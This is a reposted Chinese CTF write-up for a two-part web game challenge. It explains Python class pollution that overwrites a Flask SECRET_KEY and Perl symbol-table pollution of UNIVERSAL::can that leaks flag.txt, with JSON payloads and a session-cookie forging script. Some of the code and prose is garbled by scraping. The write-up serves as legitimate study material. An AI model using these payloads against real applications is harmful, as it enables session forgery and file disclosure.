题目实现了一个Game,分为前后端

part 1

前端存在明显原型污染

def copy(src, dst):for k, v in src.items():if hasattr(dst, "__getitem__"):if dst.get(k) and type(v) == dict:copy(v, dst.get(k))else:dst[k] = velif hasattr(dst, k) and type(v) == dict:copy(v, getattr(dst, k))else:setattr(dst, k, v)@app.route("/score", methods=["POST"])
@game_session
def submit():score = ScoreSubmission(session["game"]["player"])copy(request.json, score)acquired_items = json.loads(session["items"].decode())score.items = acquired_itemsreturn score.toJSON()

我们可以利用此处污染密钥让我们可以伪造session

https://tttang.com/archive/1876/#toc_secret_key

github.com/noraj/flask-session-cookie-manager

{"__init__" : {"__globals__" : {"app" : {"config" : {"SECRET_KEY" :"A5rZ"}}}}
}

part 2

后端也存在类似原型污染的东西

    sub setAttribute {my $dst = shift;my $key_name = shift;my $value_ref = shift;if (!defined $key_name || $key_name eq '' || !defined $value_ref) {return 0;}no strict 'refs';*{"$dst"."::$key_name"} = $value_ref;use strict 'refs';return 1;}sub copyItems {my $dst = shift;my $src = shift;foreach my $key (keys %$src) {if (defined $dst->{$key} && ref $dst->{$key} eq 'HASH' && ref $src->{$key} eq 'HASH') {copyItems($dst->{$key}, $src->{$key});} elsif (!defined $dst->{$key}) {if (ref $src->{$key} ne 'HASH') {$dst->{$key} = $src->{$key};} else {foreach my $inner_key (keys %{$src->{$key}}) {my $index = $src->{$key}->{$inner_key};setAttribute($key, $inner_key, $game_artifacts->{$index});}}} elsif (defined $dst->{$key} && ref $dst->{$key} ne 'HASH') {$dst->{$key} = $src->{$key};}}return $dst;}

我们发现此处存在符号表污染,再结合路由逻辑思考

post '/event' => sub { my $choice = (body_parameters->get('choice'));my $player_name = (body_parameters->get('name'));if (!exists $curr_games{$player_name}) {return {success => 0};}my $game = $curr_games{$player_name};my $next = $all_events->{$game->currEv()}->{ev_choice}[$choice]{"goto"};$game->addEv($next);my $next_ev = $all_events->{$next};if ($game->currEv() == 20) {my $stats = deserialize(decode_json(decode_base64(body_parameters->get('items'))));$stats->{Game} = $player_name;$game->{inventory} = $stats;if ($game->{inventory}->can("hasAllItems")) {if ($game->{inventory}->hasAllItems($game_artifacts) == 1) {$next_ev = $all_events->{21};} else {$next_ev = $all_events->{22};}}}my $results = {success => 1,player => $player_name,ev_title => $next_ev->{ev_name},ev_desc => $next_ev->{ev_content},ev_choice => $next_ev->{ev_choice}};if (defined $next_ev->{ev_item}) {$results->{ev_item} = $next_ev->{ev_item};}if (defined $game->{inventory}) {foreach my $key (keys %{$game->{inventory}}) {$results->{items}->{$key} = $game->{inventory}->{$key};}}return $results;
};

在 Perl 中,UNIVERSAL 是所有类的祖先,can 方法用于判断对象是否有某个方法。当 can 被污染让其返回 item_delegate ,调用  g a m e − > i n v e n t o r y − > c a n ( " h a s A l l I t e m s " ) 实际会执行  i t e m d e l e g a t e ,并传入  game->{inventory}->can("hasAllItems") 实际会执行 item_delegate,并传入  game>inventory>can("hasAllItems")实际会执行 itemdelegate,并传入 game->{inventory} 作为参数

{"UNIVERSAL": {"can": "item_delegate"},"desc_filename": "./flag.txt","mermaid_scale": 1,"angels_scarf": 1,"mew_plaque": 1,"mimic_gem": 1
}

现在配合前端污染的key伪造session即可

#!/usr/bin/env python3
from itsdangerous import URLSafeTimedSerializer
from flask.sessions import SecureCookieSessionInterface
from flask import Flask
import jsonsecret_key = "A5rZ"app = Flask(__name__)
app.secret_key = secret_keyGame_key = "Uzj1m86FEW"
payload = b'{"UNIVERSAL":{"can":"item_delegate"},"desc_filename":"./flag.txt","mermaid_scale":1,"angels_scarf":1,"mew_plaque":1,"mimic_gem":1}'# 构造 payload(与题目保持一致)
payload = {'game': {'ev_choice': [{'desc': 'Oh no', 'goto': 22, 'id': 0}],'ev_desc': "The pair look at each other before they beckon you to approach, and they do not look happy. The angel bellows, terrifyingly, of your misdeeds. 'First, you mess up the antechamber, tread dust on the carpets, and disrupt our guests. Do you think you are above the rules of this castle?' In one quick movement, a gust of wind takes you through the window and into the open air. It seems like the MYTHOS has claimed yet another victim.",'ev_title': 'MYTHOS BAD ENDING','items': {'Game': Game_key, 'Inventory': 'Inventory'},'player': Game_key, 'success': 1},'items': payload
}with app.app_context():s = SecureCookieSessionInterface().get_signing_serializer(app)cookie = s.dumps(payload)print("伪造好的 session cookie:\n")print(cookie)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/bicheng/87440.shtml
繁体地址,请注明出处:http://hk.pswp.cn/bicheng/87440.shtml
英文地址,请注明出处:http://en.pswp.cn/bicheng/87440.shtml

如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

数据结构day4——栈

目录 一、栈的核心概念 什么是栈? 栈的核心特性 二、栈的基本操作 三、C 语言实现栈的两种方式 1. 顺序栈(基于数组实现) 实现代码 顺序栈的优缺点 2. 链式栈(基于链表实现) 实现代码 链式栈的优缺点 四、…

用户系统的架构设计与实现策略(二)

一个用户系统除了基本的用户业务功能,还应囊括用户的权限设计及其实现。这本文中我们将探讨一下关于用户权限的设计与实现方法论。 简介 在构建现代应用系统的过程中,很少有设计决策会像访问控制机制那样,对安全性、可扩展性和用户体验产生…

深度学习-逻辑回归

逻辑回归的目的 逻辑回归只判断样本属于正类的概率是多大,0-1之间 找到一组最佳的权重(w1,w2,w3,…) ,b,使得模型预测的概率 P(Y1) 尽可能接近样本的真实标签(1 或 0)。 计算过程 前向传播过程…

对象池模式:减少GC的Kotlin实战指南

对象池模式通过对象复用机制,将对象生命周期从"创建-销毁"转变为"借出-归还",显著减少GC压力。下面通过完整实例展示其实现细节。 一、对象池工作原理图解 #mermaid-svg-Edrz4np9hD6DJdNi {font-family:"trebuchet ms",v…

Java接口报错:Packet for query is too large - 解决方案与架构思考

Java接口报错:Packet for query is too large - 解决方案与架构思考 背景与技术原理解决方案体系(扩展版)一、MySQL服务端配置(永久生效)配置文件修改(推荐生产环境) 文件路径参考Linux: /etc/m…

7月2日作业

思维导图 一、创建一个进程扇 代码 #include <25041head.h>int main(int argc, const char *argv[]) {pid_t pid;for(int i1;i<4;i){pidfork();if(pid>0){sleep(1);}if(pid0){printf("我是子进程%d:%d,父进程%d\n",i,getpid(),getppid());sleep(1);re…

设计模式(九)

职责链模式&#xff08;Chain of Responsibility&#xff09;详解 一、核心概念 职责链模式将请求的发送者和接收者解耦&#xff0c;使多个对象都有机会处理请求。这些对象连接成一条链&#xff0c;请求沿着链传递&#xff0c;直到有一个对象处理它为止。该模式允许动态调整处…

左神算法之Zigzag方式打印矩阵

目录 Zigzag方式打印矩阵1. 题目2. 解释3. 思路4. 代码5. 总结 Zigzag方式打印矩阵 1. 题目 用zigzag的方式打印矩阵&#xff0c;比如下面的矩阵&#xff1a; 0 1 2 3 4 5 6 7 8 9 10 11打印顺序为&#xff1a;0 1 4 8 5 2 3 6 9 10 7 11 2. 解释 Zigzag打印矩阵是指按照…

【前端批量下载图片,并打包成压缩包下载】

一、需求说明 我现在有个需求&#xff1a; 1.列表中有个下载按钮&#xff0c;点击下载&#xff0c;将列表中所有的图片打成压缩包&#xff0c;并下载 2.效果演示点击查看效果 最终效果&#xff1a; 二、安装下载插件 实现此功能需要两个插件&#xff1a;jszip、file-saver …

NV133NV137美光固态闪存NV147NV148

NV133NV137美光固态闪存NV147NV148 美光固态闪存技术矩阵深度解析&#xff1a;NV133至NV148的全面较量 一、性能参数&#xff1a;数据高速公路的“车速”比拼 读写速度&#xff1a;从“乡间小道”到“高铁动脉” 美光NV系列固态闪存的核心竞争力在于其读写速度的跃升。以NV15…

从LLM到WM:大语言模型如何进化成具身世界模型?

1.引言这学期在方老师开设的《机器人大模型基础和前沿》选修课上接触并学习了具身智能方面的相关知识。作为交互组的组长&#xff0c;我和组员们在幻尔机器狗的功能开发上有切身的实践与探索&#xff0c;在张江具身智能大会上&#xff0c;也见识到了前沿的技术和行业的发展现状…

第十六届蓝桥杯C++B组国赛题解+复盘总结

文章目录 写在前面1、新型锁2、互质藏卡3、数字轮盘4、斐波那契字符串5、项链排列6、蓝桥星数字7、翻倍8、近似回文字符串9、子串去重10、涂格子 写在前面 打了三年&#xff0c;第十六届是我最后一次参加了&#xff0c;终于如愿以偿国一啦。 这场的大多题目都补了&#xff0c;…

【TTS】2024-2025年主流开源TTS模型的综合对比分析

以下是针对2024-2025年主流开源与商用TTS模型的综合技术选型分析&#xff0c;结合GitHub热度、功能特性、部署成本及中文支持等核心维度进行对比&#xff0c;并附详细实践建议。 一、开源TTS模型对比&#xff08;2024-2025年主流方案&#xff09; 模型名称开源/厂商克隆支持中…

redis延时双删,为什么第一次删除

Redis延时双删策略中第一次删除的作用 在缓存与数据库一致性方案中&#xff0c;"延时双删"&#xff08;Delayed Double-Delete&#xff09;是一种经典策略&#xff0c;其核心流程如下&#xff1a; 第一次删除&#xff1a;更新数据库前&#xff0c;先删除缓存 更新数…

深度学习1(深度学习和机器学习的区别,神经网络)

深度学习和机器学习的区别 深度学习和机器学习都是人工智能&#xff08;AI&#xff09;的重要分支&#xff0c;但它们在方法、应用场景和技术细节上有显著区别。 机器学习通过算法让计算机从数据中学习规律&#xff0c;并做出预测或决策。核心是特征工程&#xff08;人工提取数…

这才叫窗口查询!TDEngine官方文档没讲透的实战玩法

第1章&#xff1a;你不知道的TDEngine窗口查询——开局就不简单 先别急着翻白眼&#xff0c;提到时间窗口查询&#xff0c;可能你脑子里立马浮现的就是那些常规套路&#xff1a;GROUP BY time_interval、FIRST()、LAST()&#xff0c;再加上点AVG()和MAX()&#xff0c;一锅端。…

Day50 预训练模型+CBAM模块

目录 一、resnet结构解析 二、CBAM放置位置的思考 三、针对预训练模型的训练策略 a.差异化学习率 b.三阶段式解冻与微调 (Progressive Unfreezing) 四、尝试对vgg16cbam进行微调策略 是否可以对于预训练模型增加模块来优化其效果&#xff0c;这里会遇到一个问题&#xff…

快速说一下TDD BDD DDD

基本概念 TDD&#xff08;测试驱动开发&#xff09;、BDD&#xff08;行为驱动开发&#xff09;和 DDD&#xff08;领域驱动设计&#xff09;是软件开发领域中几个重要的概念&#xff0c;它们各自有着独特的侧重点与应用场景&#xff0c;以下为你详细介绍&#xff1a; 测试驱…

浅析基于深度学习算法的英文OCR技术工作原理及其应用场景

在数字化信息飞速发展的当下&#xff0c;大量的文本信息以各种形式存在&#xff0c;从传统的纸质文档到电子图片中的文字内容。如何高效地将这些非结构化的文本转化为计算机能够理解和处理的格式&#xff0c;成为了提高信息处理效率的关键。英文 OCR&#xff08;Optical Charac…

AI时代SEO关键词策略

内容概要 在人工智能&#xff08;AI&#xff09;驱动的新时代&#xff0c;搜索引擎优化&#xff08;SEO&#xff09;关键词策略正迎来颠覆性变革。本篇文章将系统解析AI技术如何重塑关键词研究、内容优化及流量提升的全过程&#xff0c;帮助企业实现高效可持续的在线曝光。通过…